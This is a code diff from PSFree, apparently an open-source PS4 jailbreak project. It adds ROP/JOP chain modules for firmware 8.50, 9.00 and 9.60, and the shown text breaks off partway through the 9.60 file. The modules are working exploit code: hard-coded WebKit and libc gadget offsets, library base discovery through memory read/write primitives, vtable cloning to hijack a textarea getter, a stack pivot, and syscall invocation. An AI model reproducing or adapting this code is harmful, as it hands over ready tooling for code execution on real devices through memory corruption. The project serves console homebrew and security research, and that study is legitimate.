+        this.push_gadget('pop rdi; ret');
+        this.push_value(this.retval_addr);
+        this.push_gadget('mov qword ptr [rdi], rax; ret');
+    }
+
+    call(...args) {
+        if (this.position !== 0) {
+            throw Error('call() needs an empty chain');
+        }
+        this.push_call(...args);
+        this.push_get_retval();
+        this.push_end();
+        this.run();
+        this.clean();
+
+        return this.return_value;
+    }
+
+    syscall(...args) {
+        if (this.position !== 0) {
+            throw Error('syscall() needs an empty chain');
+        }
+        this.push_syscall(...args);
+        this.push_get_retval();
+        this.push_end();
+        this.run();
+        this.clean();
+
+        return this.return_value;
+    }
+}
+
+// helper object for ROP
+const rop_ta = document.createElement('textarea');
+
+// Chain for PS4 8.50
+class Chain850 extends Chain850Base {
+    constructor() {
+        super();
+
+        // sizeof JSC:JSObject, the JSCell + the butterfly field
+        const js_size = 0x10;
+        // sizeof WebCore::JSHTMLTextAreaElement, subclass of JSObject
+        const js_ta_size = 0x20;
+        // start of the array of inline properties (JSValues)
+        const offset_js_inline_prop = 0x10;
+        // Sizes may vary between webkit versions so we just assume a size
+        // that we think is large enough for all of them.
+        const vtable_size = 0x1000;
+        const webcore_ta_size = 0x180;
+
+        const ta_clone = {};
+        this.ta_clone = ta_clone;
+        const clone_p = mem.addrof(ta_clone);
+        const ta_p = mem.addrof(rop_ta);
+
+        for (let i = js_size; i < js_ta_size; i += 8) {
+            clone_p.write64(i, ta_p.read64(i));
+        }
+
+        const webcore_ta = ta_p.readp(offset_textarea_impl);
+        const m_wrapped_clone = new Uint8Array(
+            make_buffer(webcore_ta, webcore_ta_size)
+        );
+        this.m_wrapped_clone = m_wrapped_clone;
+
+        // Replicate the vtable as much as possible or else the garbage
+        // collector will crash. It uses functions from the vtable.
+        //
+        // There is no need to restore the original vtable pointer later since
+        // it points to a copy with only offset 0x1c8 changed. The scrollLeft
+        // getter is not used by the GC.
+        const vtable_clone = new Uint8Array(
+            make_buffer(webcore_ta.readp(0), vtable_size)
+        );
+        this.vtable_clone = vtable_clone
+
+        clone_p.write64(
+            offset_textarea_impl,
+            get_view_vector(m_wrapped_clone),
+        );
+        rw.write64(m_wrapped_clone, 0, get_view_vector(vtable_clone));
+
+        clone_p.write64(0, ta_p.read64(0));
+
+        // 0x1c8 is the offset of the scrollLeft getter native function
+        rw.write64(vtable_clone, 0x1c8, this.get_gadget(jop1));
+
+        // for the JOP chain
+        const rax_ptrs = new Uint8Array(0x100);
+        const rax_ptrs_p = get_view_vector(rax_ptrs);
+        this.rax_ptrs = rax_ptrs;
+
+        rw.write64(rax_ptrs, 0x28, this.get_gadget(jop2));
+        rw.write64(rax_ptrs, 0x60, this.get_gadget(jop3));
+        rw.write64(rax_ptrs, 0x30, this.get_gadget(jop4));
+        rw.write64(rax_ptrs, 0x10, this.get_gadget(jop5));
+        rw.write64(rax_ptrs, 0, this.get_gadget(jop6));
+        // value to pivot rsp to
+        rw.write64(rax_ptrs, 0x18, this.stack_addr);
+
+        const jop_buffer = new Uint8Array(8);
+        const jop_buffer_p = get_view_vector(jop_buffer);
+        this.jop_buffer = jop_buffer;
+
+        rw.write64(jop_buffer, 0, rax_ptrs_p);
+
+        clone_p.write64(offset_js_inline_prop + 8*2, jop_buffer_p);
+    }
+
+    run() {
+        this.check_stale();
+        this.check_is_empty();
+        this.check_is_branching();
+
+        // jump to JOP chain
+        this.ta_clone.scrollLeft;
+    }
+}
+const Chain = Chain850;
+
+function init(Chain) {
+    [libwebkit_base, libkernel_base, libc_base] = get_bases();
+
+    init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
+    init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
+    init_syscall_array(syscall_array, libkernel_base, 300 * KB);
+    debug_log('syscall_array:');
+    debug_log(syscall_array);
+    Chain.init_class(gadgets, syscall_array);
+}
+
+function test_rop(Chain) {
+    const jmp_buf = new Uint8Array(jmp_buf_size);
+    const jmp_buf_p = get_view_vector(jmp_buf);
+
+    init(Chain);
+
+    setjmp_addr = gadgets.get('setjmp');
+    longjmp_addr = gadgets.get('longjmp');
+
+    const chain = new Chain();
+    // Instead of writing to the jmp_buf, set rax here so it will be restored
+    // as the return value after the longjmp().
+    chain.push_gadget('pop rax; ret');
+    chain.push_constant(1);
+    chain.push_call(setjmp_addr, jmp_buf_p);
+
+    chain.start_branch();
+
+    debug_log(`if chain addr: ${chain.stack_addr.add(chain.position)}`);
+    chain.push_call(longjmp_addr, jmp_buf_p);
+
+    chain.end_branch();
+
+    debug_log(`endif chain addr: ${chain.stack_addr.add(chain.position)}`);
+    chain.push_end();
+
+    // The ROP chain is a noop. If we crashed, then we did something wrong.
+    alert('chain run');
+    debug_log('test call setjmp()/longjmp()');
+    chain.run()
+    alert('returned successfully');
+    debug_log('returned successfully');
+    debug_log('jmp_buf:');
+    debug_log(jmp_buf);
+    debug_log(`flag: ${rw.read64(chain.flag, 0)}`);
+
+    const state1 = new Uint8Array(8);
+    debug_log('test if rax == 0');
+    chain.clean();
+
+    chain.push_gadget('pop rsi; ret');
+    chain.push_value(get_view_vector(state1));
+    chain.push_save();
+    chain.push_gadget('pop rax; ret');
+    chain.push_constant(0);
+
+    chain.start_branch();
+    chain.push_restore();
+
+    chain.push_gadget('pop rcx; ret');
+    chain.push_constant(1);
+    chain.push_gadget('mov qword ptr [rsi], rcx; ret');
+    chain.push_end();
+
+    chain.end_branch();
+
+    chain.push_restore(true);
+    chain.push_gadget('pop rcx; ret');
+    chain.push_constant(2);
+    chain.push_gadget('mov qword ptr [rsi], rcx; ret');
+    chain.push_end();
+
+    chain.run();
+    debug_log(`state1 must be 1: ${state1}`);
+    if (state1[0] !== 1) {
+        die('if branch not taken');
+    }
+
+    const state2 = new Uint8Array(8);
+    debug_log('test if rax != 0');
+    chain.clean();
+
+    chain.push_gadget('pop rsi; ret');
+    chain.push_value(get_view_vector(state2));
+    chain.push_save();
+    chain.push_gadget('pop rax; ret');
+    chain.push_constant(1);
+
+    chain.start_branch();
+    chain.push_restore();
+
+    chain.push_gadget('pop rcx; ret');
+    chain.push_constant(1);
+    chain.push_gadget('mov qword ptr [rsi], rcx; ret');
+    chain.push_end();
+
+    chain.end_branch();
+
+    chain.push_restore(true);
+    chain.push_gadget('pop rcx; ret');
+    chain.push_constant(2);
+    chain.push_gadget('mov qword ptr [rsi], rcx; ret');
+    chain.push_end();
+
+    chain.run();
+    debug_log(`state2 must be 2: ${state2}`);
+    if (state2[0] !== 2) {
+        die('if branch taken');
+    }
+
+    debug_log('test syscall getuid()');
+    chain.clean();
+    // Set the return value to some random value. If the syscall worked, then
+    // it will likely change.
+    const magic = 0x4b435546;
+    rw.write32(chain._return_value, 0, magic);
+
+    const res = chain.syscall('getuid');
+
+    debug_log(`return value: ${res}`);
+    if (res.eq(magic)) {
+        die('syscall getuid failed');
+    }
+}
+
+test_rop(Chain);
\ No newline at end of file
diff --git a/rop/900.mjs b/rop/900.mjs
new file mode 100644
index 0000000..737f50c
--- /dev/null
+++ b/rop/900.mjs
@@ -0,0 +1,682 @@
+/* Copyright (C) 2024 anonymous
+
+This file is part of PSFree.
+
+PSFree is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+PSFree is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program.  If not, see <https://www.gnu.org/licenses/>.  */
+
+// by janisslsm (John) from ps4-dev discord
+
+import * as config from '../config.mjs';
+
+import { Int } from '../module/int64.mjs';
+import { debug_log, die } from '../module/utils.mjs';
+import { Addr, mem } from '../module/mem.mjs';
+import { KB, MB } from '../module/constants.mjs';
+import { ChainBase } from '../module/chain.mjs';
+
+import {
+    make_buffer,
+    find_base,
+    get_view_vector,
+    resolve_import,
+    init_syscall_array,
+} from '../module/memtools.mjs';
+
+import * as rw from '../module/rw.mjs';
+import * as o from '../module/offset.mjs';
+
+const origin = window.origin;
+const port = '8000';
+const url = `${origin}:${port}`;
+
+const syscall_array = [];
+
+const offset_textarea_impl = 0x18;
+
+// WebKit offsets of imported functions
+const offset_wk_stack_chk_fail = 0x178;
+const offset_wk_memcpy = 0x188;
+
+// libSceLibcInternal offsets
+const offset_libc_setjmp = 0x24F04;
+const offset_libc_longjmp = 0x29448;
+
+// see the disassembly of setjmp() from the dump of libSceLibcInternal.sprx
+//
+// int setjmp(jmp_buf)
+// noreturn longjmp(jmp_buf)
+//
+// This version of longjmp() does not take another argument to be used as
+// setjmp()'s return value. Offset 0 of the jmp_buf will be the restored
+// rax. Change it if you want a specific value from setjmp() after the
+// longjmp().
+const jmp_buf_size = 0xc8;
+let setjmp_addr = null;
+let longjmp_addr = null;
+
+// libSceNKWebKit.sprx
+let libwebkit_base = null;
+// libkernel_web.sprx
+let libkernel_base = null;
+// libSceLibcInternal.sprx
+let libc_base = null;
+
+// Chain implementation based on Chain803. Replaced offsets that changed
+// between versions. Replaced gadgets that were missing with new ones that
+// won't change the API.
+
+// gadgets for the JOP chain
+//
+// When the scrollLeft getter native function is called on PS4 9.00, rsi is the
+// JS wrapper for the WebCore textarea class.
+const jop1 = `
+mov rdi, qword ptr [rsi + 0x20]
+mov rax, qword ptr [rdi]
+call qword ptr [rax + 0x28]
+`;
+// Since the method of code redirection we used is via redirecting a call to
+// jump to our JOP chain, we have the return address of the caller on entry.
+//
+// jop1 pushed another object (via the call instruction) but we want no extra
+// objects between the return address and the rbp that will be pushed by jop3
+// later. So we pop the return address pushed by jop1.
+//
+// This will make pivoting back easy, just "leave; ret".
+const jop2 = `
+pop rsi
+jmp qword ptr [rax + 0x1c]
+`;
+// rbp is now pushed, any extra objects pushed by the call instructions can be
+// ignored
+const jop3 = `
+push rbp
+mov rbp, rsp
+mov rax, qword ptr [rdi]
+call qword ptr [rax + 0x58]
+`;
+const jop4 = `
+mov rdx, qword ptr [rax + 0x18]
+mov rax, qword ptr [rdi]
+call qword ptr [rax + 0x10]
+`;
+const jop5 = `
+push rdx
+jmp qword ptr [rax]
+`;
+const jop6 = 'pop rsp; ret';
+
+// the ps4 firmware is compiled to use rbp as a frame pointer
+//
+// The JOP chain pushed rbp and moved rsp to rbp before the pivot. The chain
+// must save rbp (rsp before the pivot) somewhere if it uses it. The chain must
+// restore rbp (if needed) before the epilogue.
+//
+// The epilogue will move rbp to rsp (restore old rsp) and pop rbp (which we
+// pushed earlier before the pivot, thus restoring the old rbp).
+//
+// leave instruction equivalent:
+//     mov rsp, rbp
+//     pop rbp
+const rop_epilogue = 'leave; ret';
+
+const push_rdx_jmp = `
+push rdx
+jmp qword ptr [rax]
+`;
+
+const webkit_gadget_offsets = new Map(Object.entries({
+    'pop rax; ret' : 0x0000000000051a12,
+    'pop rbx; ret' : 0x00000000000be5d0,
+    'pop rcx; ret' : 0x00000000000657b7,
+    'pop rdx; ret' : 0x000000000000986c,
+
+    'pop rbp; ret' : 0x00000000000000b6,
+    'pop rsi; ret' : 0x000000000001F4D6,
+    'pop rdi; ret' : 0x0000000000319690,
+    'pop rsp; ret' : 0x000000000004e293,
+
+    'pop r8; ret' : 0x00000000001a7ef1,
+    'pop r9; ret' : 0x0000000000422571,
+    'pop r10; ret' : 0x0000000000e9e1d1,
+    'pop r11; ret' : 0x0000000000620df9,
+
+    'pop r12; ret' : 0x000000000085ec71,
+    'pop r13; ret' : 0x00000000001da461,
+    'pop r14; ret' : 0x000000000001f4d5,
+    'pop r15; ret' : 0x000000000031968f,
+
+    'ret' : 0x0000000000000032,
+    'leave; ret' : 0x000000000008db5b,
+
+    'neg rax; and rax, rcx; ret' : 0x00000000019771c4,
+    'adc esi, esi; ret' : 0x000000000148874e,
+    'add rax, rdx; ret' : 0x00000000003f662c,
+    'add rcx, rsi; and rdx, rcx; or rax, rdx; ret' : 0x0000000001b1ed66,
+    'pop rsi; jmp qword ptr [rax + 0x1c]' : 0x00000000021fce7e,
+
+    'mov qword ptr [rdi], rsi; ret' : 0x0000000000040300,
+    'mov rax, qword ptr [rax]; ret' : 0x00000000000241cc,
+    'mov qword ptr [rdi], rax; ret' : 0x000000000000613b,
+    'mov rdx, rcx; ret' : 0x000000000157fe71,
+
+    [push_rdx_jmp] : 0x00000000028bd332,
+
+    [jop1] : 0x0000000000f2c778,
+    [jop2] : 0x00000000021fce7e,
+    [jop3] : 0x0000000000683800,
+    [jop4] : 0x0000000000303906,
+    [jop5] : 0x00000000028bd332,
+    [jop6] : 0x000000000004e293,
+}));
+
+const libc_gadget_offsets = new Map(Object.entries({
+    'neg rax; ret' : 0x00000000000d3f03,
+    'mov rdx, rax; xor eax, eax; shl rdx, cl; ret' : 0x00000000000cefd9,
+    'mov qword ptr [rsi], rcx; ret' : 0x00000000000cf982,
+    'setjmp' : offset_libc_setjmp,
+    'longjmp' : offset_libc_longjmp,
+}));
+
+const gadgets = new Map();
+
+function get_bases() {
+    const textarea = document.createElement('textarea');
+    const webcore_textarea = mem.addrof(textarea).readp(offset_textarea_impl);
+    const textarea_vtable = webcore_textarea.readp(0);
+    const libwebkit_base = find_base(textarea_vtable, true, true);
+
+    const stack_chk_fail_import =
+        libwebkit_base
+        .add(offset_wk_stack_chk_fail)
+    ;
+    const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
+    const libkernel_base = find_base(stack_chk_fail_addr, true, true);
+
+    const memcpy_import = libwebkit_base.add(offset_wk_memcpy);
+    const memcpy_addr = resolve_import(memcpy_import);
+    const libc_base = find_base(memcpy_addr, true, true);
+
+    return [
+        libwebkit_base,
+        libkernel_base,
+        libc_base,
+    ];
+}
+
+function init_gadget_map(gadget_map, offset_map, base_addr) {
+    for (const [insn, offset] of offset_map) {
+        gadget_map.set(insn, base_addr.add(offset));
+    }
+}
+
+class Chain900Base extends ChainBase {
+    constructor() {
+        super();
+
+        // for conditional jumps
+        this._clean_branch_ctx();
+        this.flag = new Uint8Array(8);
+        this.flag_addr = get_view_vector(this.flag);
+        this.jmp_target = new Uint8Array(0x100);
+        rw.write64(this.jmp_target, 0x1c, this.get_gadget(push_rdx_jmp));
+        rw.write64(this.jmp_target, 0, this.get_gadget('pop rsp; ret'));
+
+        // for save/restore
+        this.is_saved = false;
+        const jmp_buf_size = 0xc8;
+        this.jmp_buf = new Uint8Array(jmp_buf_size);
+        this.jmp_buf_p = get_view_vector(this.jmp_buf);
+    }
+
+    // sequence to pivot back and return
+    push_end() {
+        this.push_gadget(rop_epilogue);
+    }
+
+    check_is_branching() {
+        if (this.is_branch_ctx) {
+            throw Error('chain is still branching, end it before running');
+        }
+    }
+
+    push_value(value) {
+        super.push_value(value);
+
+        if (this.is_branch_ctx) {
+            this.branch_position += 8;
+        }
+    }
+
+    _clean_branch_ctx() {
+        this.is_branch_ctx = false;
+        this.branch_position = null;
+        this.delta_slot = null;
+        this.rsp_slot = null;
+        this.rsp_position = null;
+    }
+
+    clean() {
+        super.clean();
+        this._clean_branch_ctx();
+        this.is_saved = false;
+    }
+
+    // Use start_branch() and end_branch() to delimit a ROP chain that will
+    // conditionally execute. rax must be set accordingly before the branch.
+    // rax == 0 means execute the conditional chain.
+    //
+    // example that always execute the conditional chain:
+    //     chain.push_gadget('mov rax, 0; ret');
+    //     chain.start_branch();
+    //     chain.push_gadget('pop rbx; ret'); // always executed
+    //     chain.end_branch();
+    start_branch() {
+        if (this.is_branch_ctx) {
+            throw Error('chain already branching, end it first');
+        }
+
+        // clobbers rax, rcx, rdi, rsi
+        //
+        // u64 flag = 0 if -rax == 0 else 1
+        // *flag_addr = flag
+        this.push_gadget('pop rcx; ret');
+        this.push_constant(-1);
+        this.push_gadget('neg rax; ret');
+        this.push_gadget('pop rsi; ret');
+        this.push_constant(0);
+        this.push_gadget('adc esi, esi; ret');
+        this.push_gadget('pop rdi; ret');
+        this.push_value(this.flag_addr);
+        this.push_gadget('mov qword ptr [rdi], rsi; ret');
+
+        // clobbers rax, rcx, rdi
+        //
+        // rax = *flag_addr
+        // rcx = delta
+        // rax = -rax & rcx
+        // *flag_addr = rax
+        this.push_gadget('pop rax; ret');
+        this.push_value(this.flag_addr);
+        this.push_gadget('mov rax, qword ptr [rax]; ret');
+
+        // dummy value, overwritten later by end_branch()
+        this.push_gadget('pop rcx; ret');
+        this.delta_slot = this.position;
+        this.push_constant(0);
+
+        this.push_gadget('neg rax; and rax, rcx; ret');
+        this.push_gadget('pop rdi; ret');
+        this.push_value(this.flag_addr);
+        this.push_gadget('mov qword ptr [rdi], rax; ret');
+
+        // clobbers rax, rcx, rdx, rsi
+        //
+        // rcx = rsp_position
+        // rsi = rsp
+        // rcx += rsi
+        // rdx = rcx
+        //
+        // dummy value, overwritten later at the end of start_branch()
+        this.push_gadget('pop rcx; ret');
+        this.rsp_slot = this.position;
+        this.push_constant(0);
+
+        this.push_gadget('pop rsi; ret');
+        this.push_value(this.stack_addr.add(this.position + 8));
+
+        // rsp collected here, start counting how much to perturb rsp
+        this.branch_position = 0;
+        this.is_branch_ctx = true;
+
+        this.push_gadget('add rcx, rsi; and rdx, rcx; or rax, rdx; ret');
+        this.push_gadget('mov rdx, rcx; ret');
+
+        // clobbers rax
+        //
+        // rax = *flag_addr
+        this.push_gadget('pop rax; ret');
+        this.push_value(this.flag_addr);
+        this.push_gadget('mov rax, qword ptr [rax]; ret');
+
+        // clobbers rax
+        //
+        // rax += rdx
+        // new_rsp = rax
+        this.push_gadget('add rax, rdx; ret');
+
+        // clobbers rdi
+        //
+        // for debugging, save new_rsp to flag_addr so we can verify it later
+        this.push_gadget('pop rdi; ret');
+        this.push_value(this.flag_addr);
+        this.push_gadget('mov qword ptr [rdi], rax; ret');
+
+        // clobbers rdx, rcx
+        //
+        // rdx = rax
+        this.push_gadget('pop rcx; ret');
+        this.push_constant(0);
+        this.push_gadget('mov rdx, rax; xor eax, eax; shl rdx, cl; ret');
+
+        // clobbers rax, rdx, rsi, rsp
+        //
+        // rsp = rdx
+        this.push_gadget('pop rax; ret');
+        this.push_value(get_view_vector(this.jmp_target));
+        this.push_gadget('pop rsi; jmp qword ptr [rax + 0x1c]');
+        this.push_constant(0); // padding for the push
+
+        this.rsp_position = this.branch_position;
+        rw.write64(this.stack, this.rsp_slot, new Int(this.rsp_position));
+    }
+
+    end_branch() {
+        if (!this.is_branch_ctx) {
+            throw Error('can not end nonbranching chain');
+        }
+
+        const delta = this.branch_position - this.rsp_position;
+        rw.write64(this.stack, this.delta_slot, new Int(delta));
+        this._clean_branch_ctx();
+    }
+
+    // clobbers rax, rdi, rsi
+    push_save() {
+        if (this.is_saved) {
+            throw Error('restore first before saving again');
+        }
+        this.push_call(this.get_gadget('setjmp'), this.jmp_buf_p);
+        this.is_saved = true;
+    }
+
+    // Force a push_restore() if at runtime you can ensure the save/restore
+    // pair line up.
+    push_restore(is_force=false) {
+        if (!this.is_saved && !is_force) {
+            throw Error('save first before restoring');
+        }
+        // modify jmp_buf.rsp
+        this.push_gadget('pop rax; ret');
+        const rsp_slot = this.position;
+        // dummy value, overwritten later at the end of push_restore()
+        this.push_constant(0);
+        this.push_gadget('pop rdi; ret');
+        this.push_value(this.jmp_buf_p.add(0x38));
+        this.push_gadget('mov qword ptr [rdi], rax; ret');
+
+        // modify jmp_buf.return_address
+        this.push_gadget('pop rax; ret');
+        this.push_value(this.get_gadget('ret'));
+        this.push_gadget('pop rdi; ret');
+        this.push_value(this.jmp_buf_p.add(0x80));
+        this.push_gadget('mov qword ptr [rdi], rax; ret');
+
+        this.push_call(this.get_gadget('longjmp'), this.jmp_buf_p);
+
+        // Padding as longjmp() pushes the rdi and return address in the
+        // jmp_buf at the target rsp.
+        this.push_constant(0);
+        this.push_constant(0);
+        const target_rsp = this.stack_addr.add(this.position);
+
+        rw.write64(this.stack, rsp_slot, target_rsp);
+        this.is_saved = false;
+    }
+
+    push_get_retval() {
+        this.push_gadget('pop rdi; ret');
+        this.push_value(this.retval_addr);
+        this.push_gadget('mov qword ptr [rdi], rax; ret');
+    }
+
+    call(...args) {
+        if (this.position !== 0) {
+            throw Error('call() needs an empty chain');
+        }
+        this.push_call(...args);
+        this.push_get_retval();
+        this.push_end();
+        this.run();
+        this.clean();
+
+        return this.return_value;
+    }
+
+    syscall(...args) {
+        if (this.position !== 0) {
+            throw Error('syscall() needs an empty chain');
+        }
+        this.push_syscall(...args);
+        this.push_get_retval();
+        this.push_end();
+        this.run();
+        this.clean();
+
+        return this.return_value;
+    }
+}
+
+// Chain for PS4 9.00
+class Chain900 extends Chain900Base {
+    constructor() {
+        super();
+
+        // sizeof JSC:JSObject, the JSCell + the butterfly field
+        const js_size = 0x10;
+        // sizeof WebCore::JSHTMLTextAreaElement, subclass of JSObject
+        const js_ta_size = 0x20;
+        // start of the array of inline properties (JSValues)
+        const offset_js_inline_prop = 0x10;
+        // Sizes may vary between webkit versions so we just assume a size
+        // that we think is large enough for all of them.
+        const vtable_size = 0x1000;
+        const webcore_ta_size = 0x180;
+
+        const ta_clone = {};
+        this.ta_clone = ta_clone;
+        const clone_p = mem.addrof(ta_clone);
+        const ta_p = mem.addrof(rop_ta);
+
+        for (let i = js_size; i < js_ta_size; i += 8) {
+            clone_p.write64(i, ta_p.read64(i));
+        }
+
+        const webcore_ta = ta_p.readp(offset_textarea_impl);
+        const m_wrapped_clone = new Uint8Array(
+            make_buffer(webcore_ta, webcore_ta_size)
+        );
+        this.m_wrapped_clone = m_wrapped_clone;
+
+        // Replicate the vtable as much as possible or else the garbage
+        // collector will crash. It uses functions from the vtable.
+        //
+        // There is no need to restore the original vtable pointer later since
+        // it points to a copy with only offset 0x1c8 changed. The scrollLeft
+        // getter is not used by the GC.
+        const vtable_clone = new Uint8Array(
+            make_buffer(webcore_ta.readp(0), vtable_size)
+        );
+        this.vtable_clone = vtable_clone
+
+        clone_p.write64(
+            offset_textarea_impl,
+            get_view_vector(m_wrapped_clone),
+        );
+        rw.write64(m_wrapped_clone, 0, get_view_vector(vtable_clone));
+
+        clone_p.write64(0, ta_p.read64(0));
+
+        // 0x1b8 is the offset of the scrollLeft getter native function
+        rw.write64(vtable_clone, 0x1b8, this.get_gadget(jop1));
+
+        // for the JOP chain
+        const rax_ptrs = new Uint8Array(0x100);
+        const rax_ptrs_p = get_view_vector(rax_ptrs);
+        this.rax_ptrs = rax_ptrs;
+
+        rw.write64(rax_ptrs, 0x28, this.get_gadget(jop2));
+        rw.write64(rax_ptrs, 0x1c, this.get_gadget(jop3));
+        rw.write64(rax_ptrs, 0x58, this.get_gadget(jop4));
+        rw.write64(rax_ptrs, 0x10, this.get_gadget(jop5));
+        rw.write64(rax_ptrs, 0, this.get_gadget(jop6));
+        // value to pivot rsp to
+        rw.write64(rax_ptrs, 0x18, this.stack_addr);
+
+        const jop_buffer = new Uint8Array(8);
+        const jop_buffer_p = get_view_vector(jop_buffer);
+        this.jop_buffer = jop_buffer;
+
+        rw.write64(jop_buffer, 0, rax_ptrs_p);
+
+        clone_p.write64(offset_js_inline_prop + 8*2, jop_buffer_p);
+    }
+
+    run() {
+        this.check_stale();
+        this.check_is_empty();
+        this.check_is_branching();
+
+        // jump to JOP chain
+        this.ta_clone.scrollLeft;
+    }
+}
+const Chain = Chain900;
+
+function init(Chain) {
+    [libwebkit_base, libkernel_base, libc_base] = get_bases();
+
+    init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
+    init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
+    init_syscall_array(syscall_array, libkernel_base, 300 * KB);
+    debug_log('syscall_array:');
+    debug_log(syscall_array);
+    Chain.init_class(gadgets, syscall_array);
+}
+
+function test_rop(Chain) {
+    const jmp_buf = new Uint8Array(jmp_buf_size);
+    const jmp_buf_p = get_view_vector(jmp_buf);
+
+    init(Chain);
+
+    setjmp_addr = gadgets.get('setjmp');
+    longjmp_addr = gadgets.get('longjmp');
+
+    const chain = new Chain();
+    // Instead of writing to the jmp_buf, set rax here so it will be restored
+    // as the return value after the longjmp().
+    chain.push_gadget('pop rax; ret');
+    chain.push_constant(1);
+    chain.push_call(setjmp_addr, jmp_buf_p);
+
+    chain.start_branch();
+
+    debug_log(`if chain addr: ${chain.stack_addr.add(chain.position)}`);
+    chain.push_call(longjmp_addr, jmp_buf_p);
+
+    chain.end_branch();
+
+    debug_log(`endif chain addr: ${chain.stack_addr.add(chain.position)}`);
+    chain.push_end();
+
+    // The ROP chain is a noop. If we crashed, then we did something wrong.
+    alert('chain run');
+    debug_log('test call setjmp()/longjmp()');
+    chain.run()
+    alert('returned successfully');
+    debug_log('returned successfully');
+    debug_log('jmp_buf:');
+    debug_log(jmp_buf);
+    debug_log(`flag: ${rw.read64(chain.flag, 0)}`);
+
+    const state1 = new Uint8Array(8);
+    debug_log('test if rax == 0');
+    chain.clean();
+
+    chain.push_gadget('pop rsi; ret');
+    chain.push_value(get_view_vector(state1));
+    chain.push_save();
+    chain.push_gadget('pop rax; ret');
+    chain.push_constant(0);
+
+    chain.start_branch();
+    chain.push_restore();
+
+    chain.push_gadget('pop rcx; ret');
+    chain.push_constant(1);
+    chain.push_gadget('mov qword ptr [rsi], rcx; ret');
+    chain.push_end();
+
+    chain.end_branch();
+
+    chain.push_restore(true);
+    chain.push_gadget('pop rcx; ret');
+    chain.push_constant(2);
+    chain.push_gadget('mov qword ptr [rsi], rcx; ret');
+    chain.push_end();
+
+    chain.run();
+    debug_log(`state1 must be 1: ${state1}`);
+    if (state1[0] !== 1) {
+        die('if branch not taken');
+    }
+
+    const state2 = new Uint8Array(8);
+    debug_log('test if rax != 0');
+    chain.clean();
+
+    chain.push_gadget('pop rsi; ret');
+    chain.push_value(get_view_vector(state2));
+    chain.push_save();
+    chain.push_gadget('pop rax; ret');
+    chain.push_constant(1);
+
+    chain.start_branch();
+    chain.push_restore();
+
+    chain.push_gadget('pop rcx; ret');
+    chain.push_constant(1);
+    chain.push_gadget('mov qword ptr [rsi], rcx; ret');
+    chain.push_end();
+
+    chain.end_branch();
+
+    chain.push_restore(true);
+    chain.push_gadget('pop rcx; ret');
+    chain.push_constant(2);
+    chain.push_gadget('mov qword ptr [rsi], rcx; ret');
+    chain.push_end();
+
+    chain.run();
+    debug_log(`state2 must be 2: ${state2}`);
+    if (state2[0] !== 2) {
+        die('if branch taken');
+    }
+
+    debug_log('test syscall getuid()');
+    chain.clean();
+    // Set the return value to some random value. If the syscall worked, then
+    // it will likely change.
+    const magic = 0x4b435546;
+    rw.write32(chain._return_value, 0, magic);
+
+    const res = chain.syscall('getuid');
+
+    debug_log(`return value: ${res}`);
+    if (res.eq(magic)) {
+        die('syscall getuid failed');
+    }
+}
+
+test_rop(Chain);
diff --git a/rop/960.mjs b/rop/960.mjs
new file mode 100644
index 0000000..de7ff25
--- /dev/null
+++ b/rop/960.mjs
@@ -0,0 +1,681 @@
+/* Copyright (C) 2024 anonymous
+
+This file is part of PSFree.
+
+PSFree is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+PSFree is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program.  If not, see <https://www.gnu.org/licenses/>.  */
+
+// by janisslsm (John) and barooney from ps4-dev discord
+
+import * as config from '../config.mjs';
+
+import { Int } from '../module/int64.mjs';
+import { debug_log, die } from '../module/utils.mjs';
+import { Addr, mem } from '../module/mem.mjs';
+import { KB, MB } from '../module/constants.mjs';
+import { ChainBase } from '../module/chain.mjs';
+
+import {
+    make_buffer,
+    find_base,
+    get_view_vector,
+    resolve_import,
+    init_syscall_array,
+} from '../module/memtools.mjs';
+
+import * as rw from '../module/rw.mjs';
+import * as o from '../module/offset.mjs';
+
+const origin = window.origin;
+const port = '8000';
+const url = `${origin}:${port}`;
+
+const syscall_array = [];
+
+const offset_textarea_impl = 0x18;
+
+// WebKit offsets of imported functions
+const offset_wk_stack_chk_fail = 0x178;
+const offset_wk_memcpy = 0x188;
+
+// libSceLibcInternal offsets
+const offset_libc_setjmp = 0x21284;
+const offset_libc_longjmp = 0x254DC;
+// see the disassembly of setjmp() from the dump of libSceLibcInternal.sprx
+//
+// int setjmp(jmp_buf)
+// noreturn longjmp(jmp_buf)
+//
+// This version of longjmp() does not take another argument to be used as
+// setjmp()'s return value. Offset 0 of the jmp_buf will be the restored
+// rax. Change it if you want a specific value from setjmp() after the
+// longjmp().
+const jmp_buf_size = 0xc8;
+let setjmp_addr = null;
+let longjmp_addr = null;
+
+// libSceNKWebKit.sprx
+let libwebkit_base = null;
+// libkernel_web.sprx
+let libkernel_base = null;
+// libSceLibcInternal.sprx
+let libc_base = null;
+
+// Chain implementation based on Chain803. Replaced offsets that changed
+// between versions. Replaced gadgets that were missing with new ones that
+// won't change the API.
+
+// gadgets for the JOP chain
+//
+// When the scrollLeft getter native function is called on PS4 9.60, rsi is the
+// JS wrapper for the WebCore textarea class.
+const jop1 = `
+mov rdi, qword ptr [rsi + 0x20]
+mov rax, qword ptr [rdi]
+call qword ptr [rax + 0x28]
+`;
+// Since the method of code redirection we used is via redirecting a call to
+// jump to our JOP chain, we have the return address of the caller on entry.
+//
+// jop1 pushed another object (via the call instruction) but we want no extra
+// objects between the return address and the rbp that will be pushed by jop3
+// later. So we pop the return address pushed by jop1.
+//
+// This will make pivoting back easy, just "leave; ret".
+const jop2 = `
+pop rsi
+cmc
+jmp qword ptr [rax + 0x7c]
+`;
+// rbp is now pushed, any extra objects pushed by the call instructions can be
+// ignored
